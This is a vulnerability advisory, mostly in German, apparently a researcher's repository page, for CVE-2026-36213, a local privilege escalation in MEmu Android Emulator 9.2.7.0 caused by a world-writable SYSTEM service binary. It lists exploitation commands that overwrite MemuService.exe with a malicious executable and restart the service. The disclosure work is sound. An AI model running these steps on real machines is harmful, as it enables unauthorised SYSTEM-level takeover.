sec-zone/cve-2026-36213CVE-2026-36213 | Local Privilege Escalation in MEmu Android Emulator 9.2.7.0 via Insecure Service Binary Permissions | Patched in 9.3.2
CVE-2026-36213 | Lokale Privilegienausweitung im MEmu Android Emulator 9.2.7.0 aufgrund unsicherer Berechtigungen der Dienstbinärdatei | Behoben in 9.3.2
Eine Schwachstelle zur lokalen Rechteausweitung (LPE) im MEmu Android Emulator 9.2.7.0.
Der Dienst MEmuSVC läuft als NT AUTHORITY\SYSTEM, während seine Binärdatei von jedem lokalen Benutzer beschreibbar ist, was eine vollständige Systemkompromittierung ermöglicht.
| Feld | Details |
|---|
| CVE | CVE-2026-36213 |
| Produkt | MEmu Android Emulator (MicroVirt) |
| Betroffene Version | 9.2.7.0 und früher |
| Behobene Version | 9.3.2 |
| CWE | CWE-732 / CWE-269 |
| CVSS v3.1 | 7.8 HIGH AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK | T1574.010 |
MEmuService.exe ist als Windows-Dienst auf SYSTEM-Ebene mit unsicheren NTFS-Berechtigungen installiert:
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
BUILTIN\Users:(F) ← Any local user has Full Control
Everyone:(F) ← World-writable binar
:: Schritt 1 - Überprüfen der anfälligen Berechtigungen
icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
:: Schritt 2 - Binärdatei ersetzen (als Benutzer mit niedrigen Rechten)
copy malicious.exe "C:\Program Files\Microvirt\MEmu\MemuService.exe" /Y
:: Schritt 3 - Dienst neu starten
sc stop MEmuSVC && sc start MEmuSVC
:: Ergebnis: malicious.exe läuft als NT AUTHORITY\SYSTEM
Verfügbar unter: https://github.com/sec-zone/Hijack-service-binaries
Diese Forschung wurde zu Bildungszwecken im Rahmen einer verantwortungsvollen Offenlegungspolitik durchgeführt.
Der Autor übernimmt keine Verantwortung für den Missbrauch dieser Informationen.
Name: Mohammad Hossein Ashofte Yazdi
Linkedin: https://www.linkedin.com/in/seczone64
Twitter: @sec_zone64
Email: [email protected]